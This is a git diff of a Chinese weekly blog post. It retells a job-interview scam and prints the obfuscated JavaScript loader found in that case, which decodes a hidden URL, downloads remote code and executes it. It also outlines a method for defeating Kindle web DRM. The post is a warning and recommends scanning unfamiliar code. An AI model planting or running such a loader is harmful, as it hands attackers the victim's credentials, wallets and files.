diff options
| author | Eltrac <hi@guhub.cn> | 2025-10-19 17:48:00 +0800 |
|---|---|---|
| committer | Eltrac <hi@guhub.cn> | 2025-10-19 17:48:00 +0800 |
| commit | d9114f7196b0624d78c16fe13a2b8b15bf721ebf (patch) | |
| tree | ca830c49753dae7bddf98afea6db97d3c4821eed /content/posts/weekly | |
| parent | d044b9fac40b81a462be73b48017eec3d68a8425 (diff) | |
docs: new post and update draft
Former-commit-id: 1521fdc6c6a5b9ac21ad6355b007f7b478f84548
Diffstat (limited to 'content/posts/weekly')
| -rw-r--r-- | content/posts/weekly/51.md | 86 |
1 files changed, 84 insertions, 2 deletions
diff --git a/content/posts/weekly/51.md b/content/posts/weekly/51.md index da8342fb..b678cf2a 100644 --- a/content/posts/weekly/51.md +++ b/content/posts/weekly/51.md @@ -49,6 +49,74 @@ toc: true 一开始我其实很喜欢 Liquid Glass,因为 Apple 展示的宣传界面的确令人眼前一亮。不过,自己更新新系统使用了一两个月之后,我就逐渐对 Liquid Glass 失望了。至少,我觉得这种设计语言完全不应该大量地出现在 macOS 上——电脑这种有大量精细操作的设备为什么会需要这么多圆角? +此外,我原本以为全新的 Spotlight(聚焦搜索)可以代替 Raycast,毕竟我只是这个软件的轻度用户。不过频繁打开 Spotlight 之后发现它的淡入淡出动画真的很烦人,太慢了,经常让我感觉没有打开,于是按了两遍快捷键,结果第二次操作的时候就关掉了 Spotlight…… + +### 我差点被一个「工作面试」偷走数字身份 + +> [!note] 📜 +> [How I Almost Got Hacked By A 'Job Interview'](https://blog.daviddodda.com/how-i-almost-got-hacked-by-a-job-interview) + +作者是一个很注重隐私和数据安全的程序员,最近他在领英上收到了一个工作面试邀请,查看对方身份之后发现是一个正规的公司,于是就接受了。面试之前,面试官给它发送了一个 GitBucket 仓库,要求在面试之前的三十分钟内完成这个测验。作者起初觉得这很正常,很多面试官都会这样检验面试者的实操能力;由于时间很紧,作者没怎么调试就直接做完了题目,在最终要执行 `npm run start` 启动项目的时候,他突然觉得哪里不对劲。 + +于是他向 Cursor 的 AI Agent 问了一个问题: + +> 在我运行这个应用之前,你能不能帮我检查一下代码库里有没有什么可疑的代码? + +Agent 帮他翻出来了这段代码: + +```js +//Get Cookie +(async () => { + const byteArray = [ + 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, + 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, + 98, 50, 48, 51, 49, 102, 98, 57 + ]; + const uint8Array = new Uint8Array(byteArray); + const decoder = new TextDecoder('utf-8'); + axios.get(decoder.decode(uint8Array)) + .then(response => { + new Function("require", response.data.model)(require); + }) + .catch(error => { }); +})(); +``` + +将 `byteArray` 解码之后会得到一个链接,这段代码的作用就是从这个链接中下载并执行代码,而这段来自网络的代码是纯粹的恶意软件,会偷走加密钱包、文件、密码和你的整个数字身份的那种。由于这段代码被写在服务端的控制器里,在运行时拥有系统权限,真的非常邪恶。并且,这个链接在 24 小时之后就失效了,对方早就做好了销毁证据的准备。 + +作者后来在评论区表示,对方在发现自己还没有执行代码之后,将工作面试推迟了两次,然后作者把这篇文章的草稿发给了他们,之后就被拉黑了。后来这家公司的招聘人员和创始人还来这篇文章下回复,表示他们正在调查,并且这种恶意事件和他们没有关系,他们只是忘记修改领英的默认设置,导致任何人都可以和他们的企业关联起来。 + +#### 我的观点 + +AI 编程工具的妙用:检查恶意代码。在运行来源不明的代码之前,花一两分钟的时间请大模型帮忙扫描一遍代码库,是真的能救命的。读完这篇文章也让我开始警觉,我从未想过用 `npm run start` 执行一个简单的前端项目也有被黑的可能性。 + +### 我「逆向工程」了 Amazon 的 Kindle 图书服务 + +> [!note] 📜 +> [How I Reversed Amazon's Kindle Web Obfuscation Because Their App Sucked](https://blog.pixelmelt.dev/kindle-web-drm/) + +因为 Amazon 做的 App 实在是太难用,作者想把他在 Amazon 购买的电子书下载到设备上,用一个好用的阅读器软件来阅读,结果发现他只能在 Amazon 的软件里访问自己花钱购买的电子书。作者本可以直接退款,但他认为自己付过钱,就理应能够把电子书导入 Calibre,和自己其他的书一起阅读。 + +所以他逆向工程了 Amazon 的 Web 客户端,结果发现,Amazon 不会明文传输电子书文本,而是用到了替换加密,每个字对应的是字体中的一个字形(Glyph);而且 API 限制一次只能请求五页,每次请求,这个字形的映射都会改变,也就是说作者无法创建一个适用于整本书的字形映射表。 + +```json +{ + "type": "TextRun", + "glyphs": [24, 25, 74, 123, 91, 18, 19, 30, 4, ...], + "style": "paragraph" +} +``` + +一个编码对应的是字形的 SVG 定义,Amazon 在这里还用到了 SVG 的移动操作(MoveTo Opertaion),由于浏览器原生支持 Path2D,所以能够正常渲染,而 Python 的 SVG 库则不行;由于这里的移动操作是随机的,所以也不能通过字符串匹配的方式构造字形映射,也就是说,就算是相同的字符,其 SVG 定义也会有微小的差异。 + +最后作者换了一个 SVG 库,把每一个 SVG 渲染成图片,然后用图片生成 Hash,这样就算同一个字形的 SVG 定义有差异,Hash 也是不会变的;通过这个 Hash 作者构造出了一个映射表,生成了 EPUB 格式的电子书。 + +#### 我的观点 + +尽管这种操作的法律正规性存疑(作者的确破解了加密方式并传播了方法,但没有传播破解软件,文章里甚至没有一行他写的代码),但不失为一种学习和练习技术的方式。 + +读完之后我开始思考,如果电子书平台在用户购买书籍之后都不允许下载电子书文件,只允许在限定的 App 里阅读,那真的能算作购买吗?在文中,作者认为这是「租用」,要是企业跨掉了,或者只要他们想,你就没办法访问你「购买」的电子书了。出于这种原因我始终不愿意在这样的「正规渠道」购买电子书,我选择更多地阅读纸质书,或者下载免费的电子书资源。如果购买意味着真正的「拥有」,那我才会愿意像购买纸质书一样购买电子书。也有可能,由于数字产品的特殊性,这点没办法做到吧。 + ## ⁂ · 星群 ### AirBattery @@ -69,8 +137,22 @@ toc: true  -访问:[开始截图 - 1Capture](https://docs.1capture.com/cn/start) +访问:[1Capture](https://docs.1capture.com/cn/start) ### Is This Seat Taken? -大概是一个月以前买的游戏
\ No newline at end of file +大概是一个月以前买的游戏,最近才治好「电子阳痿」打开来玩。玩法是根据不同小人的需求,将所有人安置到适合他们的位置上,比如有的人不喜欢旁边有人、不喜欢和小孩待在一起,有的人没洗澡或者喷了太多香水,而相应的会有人希望离这些气味远一点,还有的小孩子想和别的小孩坐在一起,有的人想和别人说话,而有的人因为想要读书或睡觉,想要离那些说话和外放音乐的人远一些。 + +游戏的难度适中,玩到第三大关还没有遇到卡关的情况,但也有不少有挑战的关卡。游戏中会有反复出现的人物,玩家可以见证他们前往不同城市、遇到不同的人发生的故事,还算是增加了一些趣味性。游戏的画风也很可爱,我尤其喜欢这种柔和的配色,总之,推荐一玩。 + + + +访问:[Is This Seat Taken? on Steam](https://store.steampowered.com/app/3035120/Is_this_Seat_Taken/) + +### meow.camera + +人类,你可以观看猫咪进食。 + + + +访问:[meow.camera](https://meow.camera/)
\ No newline at end of file |
